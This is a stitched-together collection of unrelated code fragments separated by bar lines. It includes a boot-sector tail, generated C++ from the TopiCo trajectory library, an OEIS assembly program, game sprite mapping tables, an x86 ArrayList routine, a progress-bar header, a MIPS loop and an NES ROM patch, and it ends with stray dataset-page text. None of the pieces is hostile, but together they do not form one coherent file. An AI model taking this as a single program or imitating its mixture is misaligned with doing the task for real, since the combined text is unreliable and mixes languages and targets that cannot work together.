times 510 - ($-$$) db 0
dw 0xaa55
|
//
// Student License - for use by students to meet course requirements and
// perform academic research at degree granting institutions only. Not
// for government, commercial, or other organizational use.
//
// abcdeg_O_VP.cpp
//
// Code generation for function 'abcdeg_O_VP'
//
// Include files
#include "abcdeg_O_VP.h"
#include "power.h"
#include "rt_nonfinite.h"
#include "sqrt.h"
#include "topico_wrapper_data.h"
#include "topico_wrapper_rtwutil.h"
#include "topico_wrapper_types.h"
#include <cmath>
// Function Definitions
void abcdeg_O_VP(double P_init, double V_init, double A_init, double P_wayp,
double V_wayp, double V_max, double V_min, double A_max,
double J_max, double J_min, creal_T t[14])
{
creal_T dcv[2];
creal_T t5[2];
creal_T t7[2];
creal_T x[2];
creal_T b_J_max;
creal_T c_J_max;
creal_T l15;
creal_T l20;
double A_init_re;
double A_max_tmp;
double J_min_re;
double b_A_max;
double b_A_max_tmp;
double l18_im;
double l18_re;
double l3;
double l4;
double l6;
double l7;
double re;
double t7_re;
// ---------------------------------------------------------------------
// Package: TopiCo (https://github.com/AIS-Bonn/TopiCo)
// Version: 2021-03-18 12:09:55
// Maintainer: Marius Beul (mbeul@ais.uni-bonn.de)
// License: BSD
// ---------------------------------------------------------------------
// Software License Agreement (BSD License)
// Copyright (c) 2021, Computer Science Institute VI, University of Bonn
// All rights reserved.
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions
// are met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following
// disclaimer in the documentation and/or other materials provided
// with the distribution.
// * Neither the name of University of Bonn, Computer Science Institute
// VI nor the names of its contributors may be used to endorse or
// promote products derived from this software without specific
// prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
// COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
// INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
// BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
// LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
// ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
// --------------------------------------------------------------------
// Generated on 04-Sep-2019 13:52:28
if (J_max < 0.0) {
f_rtErrorWithMessageID("sqrt", o_emlrtRTEI.fName, o_emlrtRTEI.lineNo);
}
l3 = std::sqrt(J_max);
l15.re = V_wayp + -V_min;
l15.im = 0.0;
coder::internal::scalar::b_sqrt(&l15);
l18_re = J_max * 1.4142135623730951 * l15.re;
l18_im = J_max * 1.4142135623730951 * l15.im;
l20.re = -J_min;
l20.im = 0.0;
coder::internal::scalar::b_sqrt(&l20);
b_J_max.re = J_max + -J_min;
b_J_max.im = 0.0;
coder::internal::scalar::b_sqrt(&b_J_max);
c_J_max.re = V_max + -V_min;
c_J_max.im = 0.0;
coder::internal::scalar::b_sqrt(&c_J_max);
re = 1.4142135623730951 * l20.re;
l6 = 1.4142135623730951 * l20.im;
l4 = re * b_J_max.re - l6 * b_J_max.im;
l6 = re * b_J_max.im + l6 * b_J_max.re;
l20.re = l4 * c_J_max.re - l6 * c_J_max.im;
l20.im = l4 * c_J_max.im + l6 * c_J_max.re;
l6 = (J_min * 1.4142135623730951 * l15.re - l18_re) + l20.re;
l4 = (J_min * 1.4142135623730951 * l15.im - l18_im) + l20.im;
l7 = rt_powd_snf(l3, 3.0) - J_min * l3;
if (l4 == 0.0) {
t7[0].re = l6 / l7;
t7[0].im = 0.0;
} else if (l6 == 0.0) {
t7[0].re = 0.0;
t7[0].im = l4 / l7;
} else {
t7[0].re = l6 / l7;
t7[0].im = l4 / l7;
}
l4 = -J_min * 1.4142135623730951;
l6 = (l18_re + l20.re) + l4 * l15.re;
l4 = (l18_im + l20.im) + l4 * l15.im;
if (l4 == 0.0) {
t7[1].re = l6 / l7;
t7[1].im = 0.0;
} else if (l6 == 0.0) {
t7[1].re = 0.0;
t7[1].im = l4 / l7;
} else {
t7[1].re = l6 / l7;
t7[1].im = l4 / l7;
}
l20.re = -(J_min * (J_min + -J_max) * (V_min + -V_max));
l20.im = 0.0;
coder::internal::scalar::b_sqrt(&l20);
l18_im = J_min * J_min;
l4 = 1.4142135623730951 * l3 * (1.0 / (l18_im + -(J_min * J_max)));
l20.re *= l4;
l20.im *= l4;
t5[0] = l20;
t5[1] = l20;
l6 = A_init * A_init;
l3 = A_max * A_max;
l7 = J_max * J_max;
l4 = l3 * l3;
coder::power(t5, x);
coder::power(t7, dcv);
l15.re = (((((l4 * l18_im - l4 * l7) - l6 * l6 * l18_im * 3.0) +
rt_powd_snf(A_init, 3.0) * A_max * l18_im * 8.0) -
l6 * l3 * l18_im * 6.0) -
V_init * V_init * l18_im * l7 * 12.0) +
V_max * V_max * l18_im * l7 * 12.0;
A_max_tmp = A_max * rt_powd_snf(J_min, 3.0) * l7;
b_A_max = A_max * rt_powd_snf(J_max, 3.0) * l18_im;
l18_re = A_max * P_init * l18_im * l7 * 24.0;
l20.re = A_max * P_wayp * l18_im * l7 * 24.0;
l4 = J_max * V_init;
b_J_max.re = l4 * l6 * l18_im * 12.0;
c_J_max.re = l4 * l3 * l18_im * 12.0;
J_min_re = J_min * V_max * l3 * l7 * 12.0;
b_A_max_tmp = A_max * V_max * l18_im * l7;
A_init_re = A_init * A_max * J_max * V_init * l18_im * 24.0;
l4 = 1.0 / A_max * (1.0 / J_max) *
((((l6 + J_max * V_max * 2.0) + -(l4 * 2.0)) + -l3) +
J_max * l3 * (1.0 / J_min)) /
2.0;
l3 = A_max * (1.0 / J_min);
l6 = -(1.0 / J_max * (A_init + -A_max));
t[0].re = l6;
t[0].im = 0.0;
t[1].re = l6;
t[1].im = 0.0;
t[2].re = l4;
t[2].im = 0.0;
t[3].re = l4;
t[3].im = 0.0;
t[4].re = -l3;
t[4].im = 0.0;
t[5].re = -l3;
t[5].im = 0.0;
t7_re = t7[0].re * t7[0].re - t7[0].im * t7[0].im;
l4 = t7[0].re * t7[0].im;
l6 = l4 + l4;
l18_im = A_max_tmp * t5[0].re;
l7 = A_max_tmp * t5[0].im;
l4 = t5[0].re * t5[0].im;
l3 = A_max_tmp * (t5[0].re * t5[0].re - t5[0].im * t5[0].im);
l4 = A_max_tmp * (l4 + l4);
re = -0.041666666666666664 * ((((((((((((l15.re + A_max_tmp * x[0].re * 4.0) +
b_A_max * dcv[0].re * 4.0) +
l18_re) -
l20.re) +
b_J_max.re) +
c_J_max.re) -
J_min_re) +
b_A_max_tmp * t5[0].re * 24.0) +
b_A_max_tmp * t7[0].re * 24.0) +
(l18_im * t7_re - l7 * l6) * 12.0) +
(l3 * t7[0].re - l4 * t7[0].im) * 12.0) -
A_init_re);
l6 = -0.041666666666666664 *
(((((A_max_tmp * x[0].im * 4.0 + b_A_max * dcv[0].im * 4.0) +
b_A_max_tmp * t5[0].im * 24.0) +
b_A_max_tmp * t7[0].im * 24.0) +
(l18_im * l6 + l7 * t7_re) * 12.0) +
(l3 * t7[0].im + l4 * t7[0].re) * 12.0);
if (l6 == 0.0) {
t[6].re = re / b_A_max_tmp;
t[6].im = 0.0;
} else if (re == 0.0) {
t[6].re = 0.0;
t[6].im = l6 / b_A_max_tmp;
} else {
t[6].re = re / b_A_max_tmp;
t[6].im = l6 / b_A_max_tmp;
}
t[8] = t5[0];
t[10].re = 0.0;
t[10].im = 0.0;
t[12] = t7[0];
t7_re = t7[1].re * t7[1].re - t7[1].im * t7[1].im;
l4 = t7[1].re * t7[1].im;
l6 = l4 + l4;
l18_im = A_max_tmp * t5[1].re;
l7 = A_max_tmp * t5[1].im;
l4 = t5[1].re * t5[1].im;
l3 = A_max_tmp * (t5[1].re * t5[1].re - t5[1].im * t5[1].im);
l4 = A_max_tmp * (l4 + l4);
re = -0.041666666666666664 * ((((((((((((l15.re + A_max_tmp * x[1].re * 4.0) +
b_A_max * dcv[1].re * 4.0) +
l18_re) -
l20.re) +
b_J_max.re) +
c_J_max.re) -
J_min_re) +
b_A_max_tmp * t5[1].re * 24.0) +
b_A_max_tmp * t7[1].re * 24.0) +
(l18_im * t7_re - l7 * l6) * 12.0) +
(l3 * t7[1].re - l4 * t7[1].im) * 12.0) -
A_init_re);
l6 = -0.041666666666666664 *
(((((A_max_tmp * x[1].im * 4.0 + b_A_max * dcv[1].im * 4.0) +
b_A_max_tmp * t5[1].im * 24.0) +
b_A_max_tmp * t7[1].im * 24.0) +
(l18_im * l6 + l7 * t7_re) * 12.0) +
(l3 * t7[1].im + l4 * t7[1].re) * 12.0);
if (l6 == 0.0) {
t[7].re = re / b_A_max_tmp;
t[7].im = 0.0;
} else if (re == 0.0) {
t[7].re = 0.0;
t[7].im = l6 / b_A_max_tmp;
} else {
t[7].re = re / b_A_max_tmp;
t[7].im = l6 / b_A_max_tmp;
}
t[9] = t5[1];
t[11].re = 0.0;
t[11].im = 0.0;
t[13] = t7[1];
}
// End of code generation (abcdeg_O_VP.cpp)
|
; A169500: Number of reduced words of length n in Coxeter group on 7 generators S_i with relations (S_i)^2 = (S_i S_j)^34 = I.
; 1,7,42,252,1512,9072,54432,326592,1959552,11757312,70543872,423263232,2539579392,15237476352,91424858112,548549148672,3291294892032,19747769352192,118486616113152,710919696678912,4265518180073472
mov $1,6
pow $1,$0
mul $1,21
div $1,18
|
dc.w word_21368-Map_Surfboard
dc.w word_2136A-Map_Surfboard
dc.w word_2137E-Map_Surfboard
dc.w word_2139E-Map_Surfboard
dc.w word_213B8-Map_Surfboard
word_21368: dc.w 0
word_2136A: dc.w 3
dc.b $FC, $D, 0, 0, $FF, $E0
dc.b $FC, 9, 0, 8, 0, 0
dc.b $F4, 1, 0, $E, 0, $18
word_2137E: dc.w 5
dc.b $E4, 2, 0, $10, 0, $C
dc.b $EC, 2, 0, $13, 0, 4
dc.b $F4, 2, 0, $16, $FF, $FC
dc.b $FC, 1, 0, $19, $FF, $F4
dc.b $C, 5, 0, $1B, $FF, $EC
word_2139E: dc.w 4
dc.b $E0, 7, 0, $1F, $FF, $F4
dc.b 0, 4, 0, $27, $FF, $F4
dc.b 8, 0, 0, $29, $FF, $FC
dc.b $10, 5, 0, $2A, $FF, $FC
word_213B8: dc.w 5
dc.b $EC, 8, 0, $2E, $FF, $E4
dc.b $F4, 8, 0, $31, $FF, $EC
dc.b $FC, $C, 0, $34, $FF, $F4
dc.b 4, $C, 0, $38, $FF, $FC
dc.b $C, 4, 0, $3C, 0, $C
|
;;;
; Creates a new new ArrayList of qwords and allocates memory. The list will have
; an initial size. Each time a new item must be inserted, if the item
; does not fit in the allocated space, the current allocated space will be doubled
; and the item will be placed in the next place in the list.
;
; params:
; initialsize - The initial size of the ArrayList. CANNOT BE ZERO.
; It is recomended to use powers of 2.
;
; return: (QWORD) A pointer to the ArrayList
;;;
proc ArrayListCreate, initialsize: DWORD
local list: QWORD
mov [initialsize], ecx
invoke malloc, 16
mov [list], rax
mov ecx, [initialsize]
mov DWORD[rax + 0], ecx ; allocsize
mov DWORD[rax + 4], 0 ; size
shl ecx, 3
invoke malloc, ecx
mov rcx, [list]
mov QWORD[rcx + 8], rax ; list
mov rax, rcx
ret
endp |
; ---------------------------------------------------------------------------
; Sprite mappings - purple rock (GHZ)
; ---------------------------------------------------------------------------
Map_PRock_internal:
dc.w byte_D110-Map_PRock_internal
byte_D110: dc.b 2
dc.b $F0, $B, 0, 0, $E8
dc.b $F0, $B, 0, $C, 0
even |
#pragma once
#include <iomanip> /*setw, setfill*/
#include <sstream> /*stringstream*/
#include <cmath> /*log10*/
#include <string> /*return value string*/
#include <cassert> /*assert*/
namespace ElegantProgressbars{
/**
* Writes progress expressed as percentage
*
* Takes the elements that were already processed, the maximum number of
* elements to process and the percentage that is described by that, which is
* somewhat redundant. These parameters are printed in a nice and
* human-friendly fashion.
*
* @param part at which element between 1 and maxPart the process is
* @param maxPart the maximum number of elements to process
* @param percentage (optional) the percentage the current task is at (as a
* fraction of 1)
*/
inline std::string printPercentage(unsigned part, unsigned const maxPart, float percentage = -1.f){
std::stringstream stream;
if(percentage < 0)
percentage = static_cast<float>(part) / static_cast<float>(maxPart);
assert(percentage <= 1.f);
assert(maxPart > 0);
static const unsigned fillwidthPart = static_cast<unsigned>(1+std::log10(maxPart));
stream << std::setfill(' ') << std::setw(3) << static_cast<int>(percentage*100) << "%";
stream << " (" << std::setfill(' ') << std::setw(fillwidthPart) << part;
stream << "/" << maxPart << ")";
return stream.str();
}
}
|
.text
#Leer dos números del usuario
li $v0, 5
syscall
move $a1, $v0
li $v0, 5
syscall
move $a2, $v0
#compara
bgt $a2, $a1, label
label:
#Imprimir el resultado
move $a0, $a1
bucle:
li $v0, 1
syscall
#incrementa
add $a0, $a0, $a1
bgt $a2, $a0, bucle
#salir
li $v0, 10
syscall
|
; Patch after-death CONTINUE option to point to
; Select SaveGame screen
.Patch ($07,$BB2F)
JMP $DE2D
.Eop (0)
; NOTE: Invalidates the following:
;DO Continue
;$06/BB2F
;...
;$06/BB81
;SHOW PASSWORD
;$06/BB84
;...
;$06/BBC2
; Patches Password Load to select Savegame
.PATCH ($08,$DE2D)
LDA #$FF
STA $D7
JSR DO_LOAD
JSR $C12D
JSR $C153
JSR $9DC9
LDA #$00
STA $6C
STA $52
STA $D6
STA $55
LDA $53
JSR $C1DB ; Set Tileset
JSR $C12D
LDA $D5
STA $D7
STA $0690
LDA #$01
STA $D9
JSR $DCD7
JSR $C12D
JSR $DEF3
JSR $C12D
JSR $F000
JSR $C15D
JSR $C12D
; Force stack reset?
LDX #$FF
TXS
JMP $DEA9
.EOP (0)
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.